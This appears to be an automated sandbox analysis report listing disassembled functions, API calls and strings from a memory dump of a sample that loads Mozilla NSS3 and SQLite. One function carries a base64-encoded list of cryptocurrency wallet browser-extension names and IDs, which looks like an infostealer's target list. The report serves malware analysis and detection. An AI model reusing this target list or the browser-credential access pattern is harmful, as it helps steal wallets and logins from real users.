Instruction ID: a4bcdc6349b4b27a8a3121d5da8e2291dd0c4efc595453133317f7391d533e1e
Opcode Fuzzy Hash: 77c4ce5037a9e9afcf90e4831838fbd4cc13c5b208671fd2b85841d657371292
Instruction Fuzzy Hash: E7E18E716043009FE718CF29DC80B5A77E5AF85348F540A6DE9AA9BB51E731EC06CF52

Function 6C581C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C581C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C581C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C581CA1
GetLengthSid.ADVAPI32(?), ref: 6C581CA9
malloc.MOZGLUE(00000000), ref: 6C581CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C581CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C581CE4
GetLengthSid.ADVAPI32(?), ref: 6C581CEC
malloc.MOZGLUE(00000000), ref: 6C581CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C581D0F
CloseHandle.KERNEL32(?), ref: 6C581D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C581D4D
GetLastError.KERNEL32 ref: 6C581D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C581D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C581D7A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 9b47a73fca560decad65da8b46f1a9d2881ac57180dc9131382e7353e5262548
Instruction ID: 3b0872d9ea42582717b815deed989f1c8507b4847edf9a767d0a0341d239040b
Opcode Fuzzy Hash: 9b47a73fca560decad65da8b46f1a9d2881ac57180dc9131382e7353e5262548
Instruction Fuzzy Hash: 8E3166B1605218AFDF50EF65DC88BAA7BB4FF4E344F00406AF90992150E7315994CF6D

Function 6C58EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58EF63

Part of subcall function 6C5987D0: PORT_NewArena_Util.NSS3(00000800,6C58EF74,00000000), ref: 6C5987E8
Part of subcall function 6C5987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C58EF74,00000000), ref: 6C5987FD
Part of subcall function 6C5987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C59884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C58F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C58F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C58F374
PL_strcasecmp.NSS3(6C6D2FD4,?), ref: 6C58F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C58F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C58F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C58F67D
CERT_DestroyName.NSS3(?), ref: 6C58F68B

Part of subcall function 6C598320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C598338
Part of subcall function 6C598320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C598364
Part of subcall function 6C598320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C59838E
Part of subcall function 6C598320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5983A5
Part of subcall function 6C598320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5983E3

Part of subcall function 6C5984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C5984D9
Part of subcall function 6C5984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C598528

Part of subcall function 6C598900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C58F599,?,00000000), ref: 6C598955

Strings

*, xrefs: 6C58F3C6
mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva, xrefs: 6C58EFC1, 6C58F014, 6C58F07F, 6C58F0AD, 6C58F23A, 6C58F264, 6C58F5CC
", xrefs: 6C58F21B
oid., xrefs: 6C58F2CF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva$oid.
API String ID: 4161946812-254940069
Opcode ID: 6515b8c03393757c0bc83f544bd50e1c65dfb0ed7257bb397b3160f6595855bf
Instruction ID: 953742c3f113149790ca9a2fff6c4b66bb50d72e76736e5560da9093cefab1ba
Opcode Fuzzy Hash: 6515b8c03393757c0bc83f544bd50e1c65dfb0ed7257bb397b3160f6595855bf
Instruction Fuzzy Hash: 9B22277160A3618FD710CE29CC9076AB7E6ABCD318F184B2EE49687B95E7319C05CB53

Function 6C583D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C583DFB
__allrem.LIBCMT ref: 6C583EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C583FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C584047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5840DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C58415F
__allrem.LIBCMT ref: 6C58416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C584288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5842AB
__allrem.LIBCMT ref: 6C5842B7

Strings

%03d, xrefs: 6C5842E8
%02d, xrefs: 6C584086
%lld, xrefs: 6C583FB2
%04d, xrefs: 6C58407B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: d0258f5b611aea17b3eff92c16e4a1e88d6021963ee537453ecc29f86e03475a
Instruction ID: 7743c3b5d8df79dffd6ed8dccb63d8c26f96f24166ef447f220f9541f6625b5d
Opcode Fuzzy Hash: d0258f5b611aea17b3eff92c16e4a1e88d6021963ee537453ecc29f86e03475a
Instruction Fuzzy Hash: 6AF12171A087509FD715CF38CC91A6BB7EAEFC6304F148A2DF8859B651EB34D8858B42

Function 6C531C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C531D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C531EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C531FB7

Strings

abort due to ROLLBACK, xrefs: 6C532223
sqlite_master, xrefs: 6C531C61
no more rows available, xrefs: 6C532264
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C531F83
table, xrefs: 6C531C8B
sqlite_temp_master, xrefs: 6C531C5C
another row available, xrefs: 6C532287
attached databases must use the same text encoding as main database, xrefs: 6C5320CA
unsupported file format, xrefs: 6C532188
unknown error, xrefs: 6C532291

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: b62e4eb7ec3d686928d4ec1502e40ed4f532f791bc87c6245e1ae95caf3ae313
Instruction ID: 1bfed370f2429316c0250b138ba8551f3123fd9d251b9ead624176fe5c3ee0a4
Opcode Fuzzy Hash: b62e4eb7ec3d686928d4ec1502e40ed4f532f791bc87c6245e1ae95caf3ae313
Instruction Fuzzy Hash: E312C2706087518FD701CF29CC8461AB7F2BF85318F18995DE8998BB52E731EC4ACB82

Function 6C555F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6C556BEC
BINARY, xrefs: 6C558708, 6C558737, 6C5587B8
2, xrefs: 6C5565B4
-, xrefs: 6C556228
sub-select returns %d columns - expected %d, xrefs: 6C55805F
u, xrefs: 6C5581DA
-, xrefs: 6C5562F9
NOCASE, xrefs: 6C558703

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 8e70b19c5d6cc6a442ec9ff1dcba7716aeb5f9d496e0ff3d9c3e34d594f18a05
Instruction ID: d0ef520e239e1e8a089181d54abcb3c041fcc034da6618a07319dc9f81880b9c
Opcode Fuzzy Hash: 8e70b19c5d6cc6a442ec9ff1dcba7716aeb5f9d496e0ff3d9c3e34d594f18a05
Instruction Fuzzy Hash: 8D4382746183418FD304CF18C890A1AB7E2BFC9358F54CA6EE8998B756D731EC56CB92

Function 6C5FEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5FDAE2,?), ref: 6C5FC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5FF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5FF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C5FF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5FF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C6C218C), ref: 6C5FF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C5FF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5FF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C5FF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C5FF210

Part of subcall function 6C5A52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C5FF1E9,?,00000000,?,?), ref: 6C5A52F5
Part of subcall function 6C5A52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C5A530F
Part of subcall function 6C5A52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C5A5326
Part of subcall function 6C5A52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C5FF1E9,?,00000000,?,?), ref: 6C5A5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5FF227

Part of subcall function 6C5EFAB0: free.MOZGLUE(?,-00000001,?,?,6C58F673,00000000,00000000), ref: 6C5EFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C5FF23E

Part of subcall function 6C5EBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C59E708,00000000,00000000,00000004,00000000), ref: 6C5EBE6A
Part of subcall function 6C5EBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5A04DC,?), ref: 6C5EBE7E
Part of subcall function 6C5EBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5EBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5FF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C5FF3A8

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C5FF3B3

Part of subcall function 6C5A2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C5A2D3C
Part of subcall function 6C5A2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5A2D5F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 172bbb729a0d3ed4df1fe575c8617847602e02ae5ca0d3a0fa96e95edcd2cebb
Instruction ID: fa02394dc6ab5fd6125e90de00a887cb1434d3bf150e2f54919427d44379171d
Opcode Fuzzy Hash: 172bbb729a0d3ed4df1fe575c8617847602e02ae5ca0d3a0fa96e95edcd2cebb
Instruction Fuzzy Hash: FBD17FB6E012059BDB18CF99DC80A9EB7F5FF88308F158229D925A7B51E771E806CF50

Function 6C62DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C607FFA,00000000,?,6C6323B9,00000002,00000000,?,6C607FFA,00000002), ref: 6C62DE33

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

Part of subcall function 6C62D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C62DE74,6C607FFA,00000002,?,?,?,?,?,00000000,6C607FFA,00000000,?,6C6323B9,00000002), ref: 6C62D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C607FFA,00000000,?,6C6323B9,00000002,00000000,?,6C607FFA,00000002), ref: 6C62DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C62DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C62E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C62E121
PK11_FreeSymKey.NSS3(?), ref: 6C62E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C62E195
PR_GetCurrentThread.NSS3 ref: 6C62E1FC

Part of subcall function 6C622460: PR_SetError.NSS3(FFFFE005,00000000,6C6C7379,00000002,?), ref: 6C622493

Strings

application data, xrefs: 6C62DFE0
key, xrefs: 6C62E046
handshake data, xrefs: 6C62DFF7
early application data, xrefs: 6C62DFC9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 193e112f8c679b703985d4b6522ebc22a8762f0dd5e1e9fbd75412318abcdb9d
Instruction ID: 1e3be7a6a671483b5c34a9889a405371ffdd57913903509ab9a3cdb902f97f93
Opcode Fuzzy Hash: 193e112f8c679b703985d4b6522ebc22a8762f0dd5e1e9fbd75412318abcdb9d
Instruction Fuzzy Hash: 7DC11371A002159BDB04CF75CC80BEAB7B4FF09308F044139E9099BA91E339E955CFA9

Function 6C51ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C51EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C51F483
%s at line %d of [%.10s], xrefs: 6C51F492
database corruption, xrefs: 6C51F48D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 003b2aacb86d7033859f9eb4b82c74f42f19912b566ff0241e7302f7a461aabe
Instruction ID: e5f3788a759a89638c378da2fa9ad16b2f52f2c3fc1159a182edf0d066d5a476
Opcode Fuzzy Hash: 003b2aacb86d7033859f9eb4b82c74f42f19912b566ff0241e7302f7a461aabe
Instruction Fuzzy Hash: 0C62F170A082458FEB04CF29CC88B9ABBB1BF45318F18465CD8565BF92D775EC86CB94

Function 6C5BFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C5BFD06

Part of subcall function 6C5BF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C5BF696
Part of subcall function 6C5BF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C5BF789
Part of subcall function 6C5BF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C5BF796
Part of subcall function 6C5BF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C5BF79F
Part of subcall function 6C5BF670: SECITEM_DupItem_Util.NSS3 ref: 6C5BF7F0

Part of subcall function 6C5E3440: PK11_GetAllTokens.NSS3 ref: 6C5E3481
Part of subcall function 6C5E3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5E34A3
Part of subcall function 6C5E3440: TlsGetValue.KERNEL32 ref: 6C5E352E
Part of subcall function 6C5E3440: EnterCriticalSection.KERNEL32(?), ref: 6C5E3542
Part of subcall function 6C5E3440: PR_Unlock.NSS3(?), ref: 6C5E355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C5BFDAD

Part of subcall function 6C5EFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C599003,?), ref: 6C5EFD91
Part of subcall function 6C5EFD80: PORT_Alloc_Util.NSS3(A4686C5F,?), ref: 6C5EFDA2
Part of subcall function 6C5EFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C5F,?,?), ref: 6C5EFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C5BFE00

Part of subcall function 6C5EFD80: free.MOZGLUE(00000000,?,?), ref: 6C5EFDD1

Part of subcall function 6C5DE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5DE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C5BFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C5BFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5BFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5BFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C5BFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5BFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C5C0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C5C0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5C0044

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: acae00ef5f4753ff4df5010006ba3af1bc7c3710666f35ccf69c62287b56f33f
Instruction ID: f4398a80efe19c72ed8fdee9c203f3df0cfaad3b1737a68777f636d4f0746491
Opcode Fuzzy Hash: acae00ef5f4753ff4df5010006ba3af1bc7c3710666f35ccf69c62287b56f33f
Instruction Fuzzy Hash: 4DB1C4B9604301AFE304CF29CC91A6ABBE5FF88308F558B1DF95997A41E770E944CB91

Function 6C5B7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C5B7DDC

Part of subcall function 6C5F07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C598298,?,?,?,6C58FCE5,?), ref: 6C5F07BF
Part of subcall function 6C5F07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5F07E6
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F081B
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5B7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C5B7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C5B7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C5B7F98
PK11_FreeSymKey.NSS3(?), ref: 6C5B7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5B7FDE
